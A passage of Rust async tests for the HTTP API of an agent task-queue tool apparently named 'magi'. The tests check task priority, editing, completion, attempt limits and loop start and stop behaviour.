16868        drop(claim);
16869        for status in [
16870            TaskStatus::Running,
16871            TaskStatus::Done,
16872            TaskStatus::Failed,
16873            TaskStatus::Blocked,
16874            TaskStatus::Parked,
16875        ] {
16876            t.status = status;
16877            q.put(&mut t).unwrap();
16878            for urgent in [true, false] {
16879                let response = f
16880                    .post(&route, Some(&format!("{{\"urgent\":{urgent}}}")))
16881                    .await;
16882                assert_eq!(response.status, 400, "{}", response.body);
16883                assert!(response.body.contains(status.as_str()));
16884                assert!(response.body.contains("queued or held"));
16885                assert!(!q.get(&t.id).unwrap().urgent);
16886            }
16887        }
16888        assert_eq!(
16889            f.post("/api/queue/missing/urgent", Some(r#"{"urgent":true}"#))
16890                .await
16891                .status,
16892            404
16893        );
16894    }
16895
16896    #[tokio::test]
16897    async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
16898        let f = Fixture::start().await;
16899        let queue = f.queue();
16900        let mut older = Task::new(
16901            "filed first".to_owned(),
16902            "x".to_owned(),
16903            PathBuf::from("/repo/magi"),
16904            Source::Human,
16905        );
16906        older.id = "20260101-000001-aaaa".to_owned();
16907        let mut newer = Task::new(
16908            "filed second".to_owned(),
16909            "x".to_owned(),
16910            PathBuf::from("/repo/magi"),
16911            Source::Human,
16912        );
16913        newer.id = "20260101-000002-bbbb".to_owned();
16914        queue.put(&mut older).expect("file older");
16915        queue.put(&mut newer).expect("file newer");
16916
16917        // Equal priority: the newer task leads, the same order the old
16918        // newest-first `list()` already gave every equal-priority queue.
16919        let before = f.get("/api/queue").await.json();
16920        assert_eq!(before[0]["id"], newer.id);
16921        assert_eq!(before[1]["id"], older.id);
16922
16923        // Raising the *older* task is the meaningful case: it can only lead
16924        // now because its priority says so, not because it happens to be
16925        // newest.
16926        let raised = f
16927            .post(
16928                &format!("/api/queue/{}/priority", older.id),
16929                Some(r#"{"priority":10}"#),
16930            )
16931            .await;
16932        assert_eq!(raised.status, 200, "{}", raised.body);
16933        assert_eq!(raised.json()["priority"], 10);
16934
16935        let after = f.get("/api/queue").await.json();
16936        let names: Vec<&str> = after
16937            .as_array()
16938            .unwrap()
16939            .iter()
16940            .map(|t| t["id"].as_str().unwrap())
16941            .collect();
16942        // Highest priority first, which is the order next_runnable and
16943        // `magi task list` both use - GET /api/queue must agree with it
16944        // immediately, not just once the loop claims the task.
16945        assert_eq!(names[0], older.id, "the raised task now sorts first");
16946    }
16947
16948    #[tokio::test]
16949    async fn task_attempt_limit_api_persists_validates_and_refuses_claims() {
16950        let dir = TempDir::new().unwrap();
16951        let q = Queue::at(dir.path().join("queue"));
16952        let ui = Arc::new(Ui::new(
16953            q.clone(),
16954            Questions::at(dir.path().join("questions")),
16955            Talks::at(dir.path().join("talks")),
16956            dir.path().join("runs"),
16957            dir.path().to_path_buf(),
16958            dir.path().to_path_buf(),
16959        ));
16960        let mut t = Task::new(
16961            "budget".into(),
16962            "keep".into(),
16963            dir.path().into(),
16964            Source::Human,
16965        );
16966        t.attempts = 2;
16967        t.runs.push("prior-run".into());
16968        t.hold_manual(Some("waiting".into()));
16969        q.put(&mut t).unwrap();
16970        let change = |value| {
16971            queue_attempt_limit(
16972                State(ui.clone()),
16973                Path(t.id.clone()),
16974                Ok(Json(AttemptLimitBody {
16975                    attempt_limit: value,
16976                })),
16977            )
16978        };
16979        for value in [
16980            serde_json::json!(3),
16981            serde_json::Value::Null,
16982            serde_json::json!(1),
16983        ] {
16984            let response = change(value.clone()).await.unwrap();
16985            assert_eq!(
16986                serde_json::to_value(response.0).unwrap()["attempt_limit"],
16987                value
16988            );
16989            let saved = q.get(&t.id).unwrap();
16990            assert_eq!(
16991                serde_json::to_value(&saved).unwrap()["attempt_limit"],
16992                value
16993            );
16994            assert_eq!(saved.status, TaskStatus::Held);
16995            assert_eq!(saved.attempts, t.attempts);
16996            assert_eq!(saved.runs, t.runs);
16997            assert_eq!(saved.hold_reason, t.hold_reason);
16998            let detail = task_detail(State(ui.clone()), Path(t.id.clone()))
16999                .await
17000                .unwrap()
17001                .0;
17002            assert_eq!(detail.max_attempts, saved.effective_attempt_limit(2));
17003            assert_eq!(detail.flow.max_attempts, detail.max_attempts);
17004            let outcome = task_outcome(&saved, "prior-run", 2, |_| None);
17005            assert_eq!(outcome.max_attempts, detail.max_attempts);
17006        }
17007        for value in [
17008            serde_json::json!(0),
17009            serde_json::json!(-1),
17010            serde_json::json!(1.5),
17011            serde_json::json!("3"),
17012            serde_json::json!(true),
17013        ] {
17014            assert_eq!(
17015                change(value).await.err().unwrap().status,
17016                StatusCode::BAD_REQUEST
17017            );
17018        }
17019        assert!(serde_json::from_str::<AttemptLimitBody>("{}").is_err());
17020        let claim = q.claim(&t.id).unwrap();
17021        assert_eq!(
17022            change(serde_json::json!(4)).await.err().unwrap().status,
17023            StatusCode::CONFLICT
17024        );
17025        drop(claim);
17026        for status in [
17027            TaskStatus::Running,
17028            TaskStatus::Done,
17029            TaskStatus::Failed,
17030            TaskStatus::Blocked,
17031            TaskStatus::Parked,
17032        ] {
17033            let mut stored = q.get(&t.id).unwrap();
17034            stored.status = status;
17035            q.put(&mut stored).unwrap();
17036            assert_eq!(
17037                change(serde_json::json!(4)).await.err().unwrap().status,
17038                StatusCode::BAD_REQUEST
17039            );
17040            assert_eq!(q.get(&t.id).unwrap().attempt_limit.unwrap().get(), 1);
17041        }
17042        let mut stored = q.get(&t.id).unwrap();
17043        stored.status = TaskStatus::Queued;
17044        q.put(&mut stored).unwrap();
17045        let _ = change(serde_json::Value::Null).await.unwrap();
17046        assert_eq!(q.get(&t.id).unwrap().attempt_limit, None);
17047    }
17048
17049    #[tokio::test]
17050    async fn task_implementers_api_persists_and_refuses_claimed_or_finished_tasks() {
17051        let dir = TempDir::new().unwrap();
17052        let repo = dir.path().join("repo");
17053        std::fs::create_dir(&repo).unwrap();
17054        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).unwrap();
17055        let q = Queue::at(dir.path().join("queue"));
17056        let ui = Arc::new(Ui::new(
17057            q.clone(),
17058            Questions::at(dir.path().join("questions")),
17059            Talks::at(dir.path().join("talks")),
17060            dir.path().join("runs"),
17061            dir.path().to_path_buf(),
17062            repo.clone(),
17063        ));
17064        let mut t = Task::new(
17065            "seats".into(),
17066            "keep instruction".into(),
17067            repo,
17068            Source::Human,
17069        );
17070        t.runs.push("prior-run".into());
17071        t.hold_manual(Some("waiting".into()));
17072        q.put(&mut t).unwrap();
17073        let change = |count| {
17074            queue_implementers(
17075                State(ui.clone()),
17076                Path(t.id.clone()),
17077                Ok(Json(ImplementersBody {
17078                    implementers: count,
17079                })),
17080            )
17081        };
17082        for count in [2, 1, 2] {
17083            let response = change(count).await.unwrap();
17084            assert_eq!(response.0.task.implementers(), Some(usize::from(count)));
17085            let saved = q.get(&t.id).unwrap();
17086            assert_eq!(saved.implementers(), Some(usize::from(count)));
17087            assert_eq!(saved.runs, t.runs);
17088            assert_eq!(saved.instruction, t.instruction);
17089        }
17090        for count in [0, 4] {
17091            assert_eq!(
17092                change(count).await.err().unwrap().status,
17093                StatusCode::BAD_REQUEST
17094            );
17095        }
17096        assert!(serde_json::from_str::<ImplementersBody>(r#"{"implementers":256}"#).is_err());
17097        let claim = q.claim(&t.id).unwrap();
17098        assert_eq!(change(1).await.err().unwrap().status, StatusCode::CONFLICT);
17099        drop(claim);
17100        for status in [
17101            TaskStatus::Running,
17102            TaskStatus::Done,
17103            TaskStatus::Failed,
17104            TaskStatus::Blocked,
17105            TaskStatus::Parked,
17106        ] {
17107            let mut stored = q.get(&t.id).unwrap();
17108            stored.status = status;
17109            q.put(&mut stored).unwrap();
17110            assert_eq!(
17111                change(1).await.err().unwrap().status,
17112                StatusCode::BAD_REQUEST
17113            );
17114            assert_eq!(q.get(&t.id).unwrap().implementers(), Some(2));
17115        }
17116    }
17117
17118    #[tokio::test]
17119    async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
17120        let f = Fixture::start().await;
17121        let queue = f.queue();
17122        let mut task = Task::new(
17123            "in flight".to_owned(),
17124            "x".to_owned(),
17125            PathBuf::from("/repo/magi"),
17126            Source::Human,
17127        );
17128        task.start("20260902-140502-bbbb".to_owned());
17129        queue.put(&mut task).expect("file the task");
17130
17131        let res = f
17132            .post(
17133                &format!("/api/queue/{}/priority", task.id),
17134                Some(r#"{"priority":9}"#),
17135            )
17136            .await;
17137        assert_eq!(res.status, 400, "{}", res.body);
17138        assert!(
17139            res.json()["error"]
17140                .as_str()
17141                .is_some_and(|e| e.contains("running")),
17142            "{}",
17143            res.body
17144        );
17145        assert_eq!(
17146            queue.get(&task.id).expect("reload").priority,
17147            0,
17148            "the refused write must not partially apply"
17149        );
17150    }
17151
17152    #[tokio::test]
17153    async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
17154        let f = Fixture::start().await;
17155        let queue = f.queue();
17156        let mut task = Task::new(
17157            "old title".to_owned(),
17158            "old instruction".to_owned(),
17159            PathBuf::from("/repo/magi"),
17160            Source::Agent {
17161                run: "20260101-000000-beef".to_owned(),
17162                node: "implement".to_owned(),
17163            },
17164        );
17165        task.runs.push("20260101-000000-beef".to_owned());
17166        queue.put(&mut task).expect("file the task");
17167        let created_at = task.created_at;
17168
17169        let edited = f
17170            .post(
17171                &format!("/api/queue/{}/edit", task.id),
17172                Some(r#"{"title":"new title","instruction":"new instruction"}"#),
17173            )
17174            .await;
17175        assert_eq!(edited.status, 200, "{}", edited.body);
17176        let body = edited.json();
17177        assert_eq!(body["title"], "new title");
17178        assert_eq!(body["instruction"], "new instruction");
17179        assert_eq!(body["id"], task.id, "editing must not mint a new id");
17180        assert_eq!(body["created_at"], created_at.to_string());
17181        assert_eq!(
17182            body["source"]["kind"], "agent",
17183            "editing a task an agent filed must not turn it human: {body}"
17184        );
17185        assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
17186
17187        let reloaded = queue.get(&task.id).expect("reload");
17188        assert_eq!(reloaded.title, "new title");
17189        assert_eq!(reloaded.instruction, "new instruction");
17190    }
17191
17192    #[tokio::test]
17193    async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
17194        // The judge is an agent now: a repo whose only agent answers
17195        // "duplicate" stands in for it, so the refusal is the judge's.
17196        let tmp = TempDir::new().expect("tempdir");
17197        let repo = tmp.path().join("repo");
17198        std::fs::create_dir_all(&repo).expect("repo dir");
17199        let judge = MOCK_AGENT_TOML.replace(
17200            "printf ok",
17201            r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
17202        );
17203        std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
17204        let f = Fixture::with_repo(repo.clone()).await;
17205        let queue = f.queue();
17206        let mut owner = Task::new(
17207            "owner".to_owned(),
17208            "review it".to_owned(),
17209            repo.clone(),
17210            Source::Human,
17211        );
17212        owner.review_branch = Some("magi/ab12/A".to_owned());
17213        queue.put(&mut owner).expect("file the owner");
17214        let mut task = Task::new(
17215            "draft".to_owned(),
17216            "old".to_owned(),
17217            repo.clone(),
17218            Source::Human,
17219        );
17220        queue.put(&mut task).expect("file the draft");
17221        let url = format!("/api/queue/{}/edit", task.id);
17222
17223        let refused = f
17224            .post(
17225                &url,
17226                Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
17227            )
17228            .await;
17229        assert_eq!(refused.status, 409, "{}", refused.body);
17230        let msg = refused.json()["error"]
17231            .as_str()
17232            .unwrap_or_default()
17233            .to_owned();
17234        assert!(
17235            msg.contains("magi/ab12/A") && msg.contains("force"),
17236            "{msg}"
17237        );
17238        assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
17239
17240        let forced = f
17241            .post(
17242                &url,
17243                Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
17244            )
17245            .await;
17246        assert_eq!(forced.status, 200, "{}", forced.body);
17247    }
17248
17249    #[tokio::test]
17250    async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
17251        let f = Fixture::start().await;
17252        let queue = f.queue();
17253        let mut task = Task::new(
17254            "in flight".to_owned(),
17255            "do not touch".to_owned(),
17256            PathBuf::from("/repo/magi"),
17257            Source::Human,
17258        );
17259        task.start("20260902-140502-bbbb".to_owned());
17260        queue.put(&mut task).expect("file the task");
17261
17262        let res = f
17263            .post(
17264                &format!("/api/queue/{}/edit", task.id),
17265                Some(r#"{"title":"x","instruction":"y"}"#),
17266            )
17267            .await;
17268        assert_eq!(res.status, 400, "{}", res.body);
17269        assert!(
17270            res.json()["error"]
17271                .as_str()
17272                .is_some_and(|e| e.contains("running")),
17273            "{}",
17274            res.body
17275        );
17276        assert_eq!(
17277            queue.get(&task.id).expect("reload").instruction,
17278            "do not touch",
17279            "the refused edit must not change the file"
17280        );
17281    }
17282
17283    #[tokio::test]
17284    async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
17285        let f = Fixture::start().await;
17286        let queue = f.queue();
17287        let mut task = Task::new(
17288            "busy".to_owned(),
17289            "Running right now".to_owned(),
17290            PathBuf::from("/repo/magi"),
17291            Source::Human,
17292        );
17293        queue.put(&mut task).expect("file the task");
17294        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
17295
17296        let priority = f
17297            .post(
17298                &format!("/api/queue/{}/priority", task.id),
17299                Some(r#"{"priority":9}"#),
17300            )
17301            .await;
17302        assert_eq!(priority.status, 409, "{}", priority.body);
17303
17304        let edit = f
17305            .post(
17306                &format!("/api/queue/{}/edit", task.id),
17307                Some(r#"{"title":"x","instruction":"y"}"#),
17308            )
17309            .await;
17310        assert_eq!(edit.status, 409, "{}", edit.body);
17311    }
17312
17313    #[tokio::test]
17314    async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
17315        let f = Fixture::start().await;
17316        let queue = f.queue();
17317        let mut task = Task::new(
17318            "shipped by hand".to_owned(),
17319            "merged outside the loop".to_owned(),
17320            PathBuf::from("/repo/magi"),
17321            Source::Agent {
17322                run: "20260101-000000-b455".to_owned(),
17323                node: "implement".to_owned(),
17324            },
17325        );
17326        task.runs.push("20260101-000000-b455".to_owned());
17327        task.runs.push("20260101-000000-9af4".to_owned());
17328        queue.put(&mut task).expect("file the task");
17329        let created_at = task.created_at;
17330
17331        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
17332        assert_eq!(done.status, 200, "{}", done.body);
17333        assert_eq!(done.json()["status_str"], "done");
17334
17335        let reloaded = queue.get(&task.id).expect("a done task is still on disk");
17336        assert_eq!(
17337            reloaded.runs,
17338            ["20260101-000000-b455", "20260101-000000-9af4"]
17339        );
17340        assert_eq!(
17341            reloaded.source,
17342            Source::Agent {
17343                run: "20260101-000000-b455".to_owned(),
17344                node: "implement".to_owned(),
17345            }
17346        );
17347        assert_eq!(reloaded.created_at, created_at);
17348    }
17349
17350    #[tokio::test]
17351    async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
17352        // `done` is allowed on any status, including `held`, with no release
17353        // in between - so a task held for a reason and then closed directly
17354        // must not keep reading as "waiting on" it afterwards, on its card or
17355        // in `magi task show`.
17356        let f = Fixture::start().await;
17357        let queue = f.queue();
17358        let mut task = Task::new(
17359            "landed while held".to_owned(),
17360            "x".to_owned(),
17361            PathBuf::from("/repo/magi"),
17362            Source::Human,
17363        );
17364        task.hold_manual(Some("waiting on 3ed9".to_owned()));
17365        queue.put(&mut task).expect("file the held task");
17366
17367        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
17368        assert_eq!(done.status, 200, "{}", done.body);
17369        assert_eq!(done.json()["status_str"], "done");
17370        assert!(
17371            done.json()["hold_reason"].is_null(),
17372            "a done task cannot still be waiting on something: {}",
17373            done.body
17374        );
17375    }
17376
17377    #[tokio::test]
17378    async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
17379        // `queue_done` is the phone's way to close a task the loop never
17380        // settled itself - after confirming a manual GitHub merge, say - and
17381        // that is just as much "this task's story is over" as the loop's own
17382        // `Merged`/`Ready` path, so it must trigger the same cleanup.
17383        let f = Fixture::start().await;
17384        let queue = f.queue();
17385        let runs = f.runs();
17386        write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
17387        // The last attempt has to have actually landed for the earlier one
17388        // to count as superseded - see `done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed`
17389        // for the case where it didn't.
17390        write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
17391
17392        let mut task = Task::new(
17393            "landed by hand".to_owned(),
17394            "x".to_owned(),
17395            PathBuf::from("/repo/magi"),
17396            Source::Human,
17397        );
17398        task.runs.push("20260101-000000-doa1".to_owned());
17399        task.runs.push("20260101-000000-doa2".to_owned());
17400        queue.put(&mut task).expect("file the task");
17401
17402        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
17403        assert_eq!(done.status, 200, "{}", done.body);
17404
17405        let reloaded_run = read_run(&runs, "20260101-000000-doa1")
17406            .expect("run still on disk under this fixture's own home");
17407        assert_eq!(
17408            reloaded_run.status,
17409            RunStatus::Superseded,
17410            "closing the task by hand must relabel the earlier blocked attempt exactly \
17411             like the loop's own settle path does"
17412        );
17413    }
17414
17415    #[tokio::test]
17416    async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
17417        // Closing a task by hand is allowed from any status, including one
17418        // whose last recorded attempt is itself still `Blocked`/`Failed` - a
17419        // manual merge the loop never watched, say. Nothing here is provably
17420        // why the task is done, so nothing earlier gets relabelled either.
17421        let f = Fixture::start().await;
17422        let queue = f.queue();
17423        let runs = f.runs();
17424        write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
17425        write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
17426
17427        let mut task = Task::new(
17428            "closed with nothing actually landed".to_owned(),
17429            "x".to_owned(),
17430            PathBuf::from("/repo/magi"),
17431            Source::Human,
17432        );
17433        task.runs.push("20260101-000000-dob1".to_owned());
17434        task.runs.push("20260101-000000-dob2".to_owned());
17435        queue.put(&mut task).expect("file the task");
17436
17437        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
17438        assert_eq!(done.status, 200, "{}", done.body);
17439
17440        let reloaded_run = read_run(&runs, "20260101-000000-dob1")
17441            .expect("run still on disk under this fixture's own home");
17442        assert_eq!(
17443            reloaded_run.status,
17444            RunStatus::Blocked,
17445            "the last recorded attempt never landed, so the earlier one must not be \
17446             relabelled as superseded by it"
17447        );
17448    }
17449
17450    #[tokio::test]
17451    async fn unknown_ids_are_json_not_found_on_both_stores() {
17452        let f = Fixture::start().await;
17453
17454        let run = f.get("/api/runs/nosuchrun").await;
17455        let task = f.post("/api/queue/nosuchtask/hold", None).await;
17456
17457        assert_eq!(run.status, 404);
17458        assert_eq!(task.status, 404);
17459        assert!(
17460            run.json()["error"]
17461                .as_str()
17462                .is_some_and(|e| e.contains("run")),
17463            "the error names what was not found: {}",
17464            run.body
17465        );
17466        assert!(
17467            task.json()["error"]
17468                .as_str()
17469                .is_some_and(|e| e.contains("task")),
17470            "the error names what was not found: {}",
17471            task.body
17472        );
17473    }
17474
17475    #[tokio::test]
17476    async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
17477        let f = Fixture::start().await;
17478
17479        let missing = f.get("/api/health").await.json();
17480        assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
17481
17482        write_daemon(
17483            f.home.path(),
17484            Timestamp::now() - jiff::SignedDuration::from_secs(60),
17485        );
17486        let stale = f.get("/api/health").await.json();
17487        assert_eq!(
17488            stale["daemon"]["running"], false,
17489            "a minute without a heartbeat is a dead daemon, not a busy one"
17490        );
17491        assert!(
17492            stale["daemon"]["stale_for_secs"]
17493                .as_i64()
17494                .is_some_and(|s| s >= 55),
17495            "staleness is reported so the UI can say how long: {stale}"
17496        );
17497
17498        write_daemon(f.home.path(), Timestamp::now());
17499        let fresh = f.get("/api/health").await.json();
17500        assert_eq!(fresh["daemon"]["running"], true);
17501        assert_eq!(fresh["daemon"]["idle"], false);
17502        assert_eq!(fresh["daemon"]["pid"], 4242);
17503        assert_eq!(fresh["daemon"]["completed"], 7);
17504        assert_eq!(
17505            fresh["daemon"]["current"][0]["task"],
17506            "20260902-140501-aaaa"
17507        );
17508        assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
17509    }
17510
17511    #[tokio::test]
17512    async fn the_loop_is_not_running_until_something_starts_it() {
17513        let f = Fixture::start().await;
17514
17515        let view = f.get("/api/loop").await.json();
17516        assert_eq!(view["running"], false);
17517        assert_eq!(
17518            view["owned"], false,
17519            "nobody owns a loop that does not exist: {view}"
17520        );
17521        assert_eq!(view["stopping"], false);
17522        assert_eq!(view["last_error"], Value::Null);
17523        assert_eq!(view["daemon"]["running"], false);
17524        assert_eq!(
17525            view["repo"], "/repo/magi",
17526            "the repository a start would use, named before it is started"
17527        );
17528    }
17529
17530    #[tokio::test]
17531    async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
17532        let f = Fixture::start().await;
17533
17534        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17535        assert_eq!(res.status, 200, "{}", res.body);
17536        let view = res.json();
17537        assert_eq!(view["running"], true);
17538        assert_eq!(
17539            view["owned"], true,
17540            "the loop the UI started is the UI's own to stop: {view}"
17541        );
17542        assert_eq!(
17543            view["merge"],
17544            Value::Null,
17545            "no override was given, so each repository's own config decides"
17546        );
17547
17548        // The same object from the route a waking phone polls first. Two
17549        // surfaces disagreeing about whether anything is running is exactly
17550        // the confusion this UI exists to remove.
17551        let health = f.get("/api/health").await.json();
17552        assert_eq!(health["loop"]["running"], true, "{health}");
17553        assert_eq!(health["loop"]["owned"], true, "{health}");
17554
17555        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17556    }
17557
17558    #[tokio::test]
17559    async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
17560        let f = Fixture::start().await;
17561        let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17562        assert_eq!(first.status, 200, "{}", first.body);
17563
17564        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17565        assert_eq!(
17566            again.status, 409,
17567            "two loops on one queue race for the same claims: {}",
17568            again.body
17569        );
17570        assert!(
17571            again.json()["error"]
17572                .as_str()
17573                .is_some_and(|e| e.contains("already running the loop")),
17574            "the refusal has to say why: {}",
17575            again.body
17576        );
17577        assert_eq!(
17578            f.get("/api/loop").await.json()["running"],
17579            true,
17580            "and the loop that was already running is untouched by it"
17581        );
17582
17583        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17584    }
17585
17586    #[tokio::test]
17587    async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
17588        let f = Fixture::start().await;
17589        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17590
17591        let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17592        assert_eq!(
17593            res.status, 200,
17594            "the answer must not wait for the loop: a run in flight is tens of \
17595             minutes and the operator is holding a phone: {}",
17596            res.body
17597        );
17598
17599        let view = settled(&f, |v| v["running"] == false).await;
17600        assert_eq!(view["owned"], false);
17601        assert_eq!(
17602            view["stopping"], false,
17603            "a loop that has stopped is not still stopping: {view}"
17604        );
17605        assert_eq!(
17606            view["last_error"],
17607            Value::Null,
17608            "a loop that was asked to stop did not fail: {view}"
17609        );
17610
17611        // Idempotent, because the operator cannot tell a slow stop from a lost
17612        // one and will press it again.
17613        let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17614        assert_eq!(twice.status, 200, "{}", twice.body);
17615    }
17616
17617    #[tokio::test]
17618    async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
17619        let f = Fixture::start().await;
17620        // How the operator has been doing it: a `magi serve` of their own,
17621        // heartbeat fresh, in the same home this UI reads.
17622        write_daemon(f.home.path(), Timestamp::now());
17623
17624        let view = f.get("/api/loop").await.json();
17625        assert_eq!(view["running"], false, "not in this process: {view}");
17626        assert_eq!(view["owned"], false, "and not this process's to control");
17627        assert_eq!(
17628            view["daemon"]["running"], true,
17629            "but a loop is alive somewhere, which is what the UI must say"
17630        );
17631        assert_eq!(view["daemon"]["pid"], 4242);
17632
17633        for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
17634            let res = f.post("/api/loop", Some(body)).await;
17635            assert_eq!(
17636                res.status, 409,
17637                "neither button may pretend to work on someone else's loop: {}",
17638                res.body
17639            );
17640            assert!(
17641                res.json()["error"]
17642                    .as_str()
17643                    .is_some_and(|e| e.contains("4242")),
17644                "the refusal has to name the process the operator must go to: {}",
17645                res.body
17646            );
17647        }
17648        assert_eq!(
17649            f.get("/api/loop").await.json()["running"],
17650            false,
17651            "and the refusal started nothing"
17652        );
17653    }
17654
17655    #[tokio::test]
17656    async fn a_stale_status_file_is_not_a_foreign_owner() {
17657        let f = Fixture::start().await;
17658        write_daemon(
17659            f.home.path(),
17660            Timestamp::now() - jiff::SignedDuration::from_secs(60),
17661        );
17662
17663        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17664        assert_eq!(
17665            res.status, 200,
17666            "a daemon killed a minute ago must not lock the loop out of its \
17667             own home for good: {}",
17668            res.body
17669        );
17670        assert_eq!(res.json()["running"], true);
17671
17672        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17673    }
17674
17675    #[tokio::test]
17676    async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
17677        let f = Fixture::start().await;
17678        let before = f.get("/api/health").await.json()["loop_rev"]
17679            .as_u64()
17680            .expect("a loop revision");
17681
17682        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17683
17684        let after = f.get("/api/health").await.json()["loop_rev"]
17685            .as_u64()
17686            .expect("a loop revision");
17687        assert!(
17688            after > before,
17689            "the loop is in-process state, so this counter is the only thing \
17690             that tells a second device the first one started it: {before} -> \
17691             {after}"
17692        );
17693
17694        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17695    }
17696
17697    #[tokio::test]
17698    async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
17699        let f = Fixture::with_loop(launch_broken).await;
17700
17701        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17702        assert_eq!(
17703            res.status, 200,
17704            "starting it is not the failure: {}",
17705            res.body
17706        );
17707
17708        let view = settled(&f, |v| v["last_error"].is_string()).await;
17709        assert_eq!(
17710            view["running"], false,
17711            "a loop that died must not read as running, or the operator has \
17712             nothing to press: {view}"
17713        );
17714        assert_eq!(view["owned"], false);
17715        assert!(
17716            view["last_error"]
17717                .as_str()
17718                .is_some_and(|e| e.contains("read-only file system")),
17719            "the phone is where a loop that died at 3am is visible: {view}"
17720        );
17721
17722        // And it can be started again: the corpse was reaped, not left to
17723        // occupy the slot.
17724        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17725        assert_eq!(again.status, 200, "{}", again.body);
17726        assert!(
17727            again.json()["last_error"]
17728                .as_str()
17729                .is_none_or(|e| !e.contains("read-only file system")),
17730            "a fresh start does not keep showing why the last one died: {}",
17731            again.body
17732        );
17733    }
17734
17735    #[tokio::test]
17736    async fn a_newer_daemon_status_file_still_renders() {
17737        let f = Fixture::start().await;
17738        // A field this build has never heard of must not turn the status line
17739        // into a 500; that is the whole reason the reader is permissive.
17740        std::fs::write(
17741            f.home.path().join("daemon.json"),
17742            serde_json::json!({
17743                "schema": 2,
17744                "updated_at": Timestamp::now().to_string(),
17745                "idle": true,
17746                "surprise": { "nested": [1, 2, 3] },
17747            })
17748            .to_string(),
17749        )
17750        .expect("write daemon.json");
17751
17752        let health = f.get("/api/health").await;
17753
17754        assert_eq!(health.status, 200);
17755        assert_eq!(health.json()["daemon"]["running"], true);
17756    }
17757
17758    #[tokio::test]
17759    async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
17760        let f = Fixture::start().await;
17761        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
17762        let broken = f.runs().join("20260902-140502-bad");
17763        std::fs::create_dir_all(&broken).expect("run dir");
17764        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
17765
17766        let list = f.get("/api/runs").await;
17767        let detail = f.get("/api/runs/20260902-140502-bad").await;
17768
17769        assert_eq!(list.status, 200);
17770        let listed = list.json();
17771        let ids: Vec<&str> = listed
17772            .as_array()
17773            .expect("an array")
17774            .iter()
17775            .map(|r| r["id"].as_str().expect("an id"))
17776            .collect();
17777        assert_eq!(
17778            ids,
17779            vec!["20260902-140501-good"],
17780            "one unreadable run must not cost the operator the whole history"
17781        );
17782        assert_eq!(detail.status, 500);
17783        assert!(
17784            detail.json()["error"]
17785                .as_str()
17786                .is_some_and(|e| e.contains("run.json")),
17787            "the failure names the file to look at: {}",
17788            detail.body
17789        );
17790        // A skipped run has to be countable somewhere, or the UI shows an
17791        // empty history with nothing to explain it - which is exactly what a
17792        // directory full of older-schema runs looks like.
17793        let health = f.get("/api/health").await;
17794        assert_eq!(health.json()["runs_unreadable"], 1);
17795    }
17796
17797    /// Search matches nested run text, ANDs its terms and counts unreadable runs.
17798    #[tokio::test]
17799    async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
17800        let f = Fixture::start().await;
17801        let runs = f.runs();
17802        write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
17803        write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
17804        // Text three levels down, in a shape no current RunState has: an older
17805        // schema must still search.
17806        let path = runs.join("20260902-140502-bbbb").join("run.json");
17807        let mut v: serde_json::Value =
17808            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
17809        v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
17810        std::fs::write(&path, v.to_string()).unwrap();
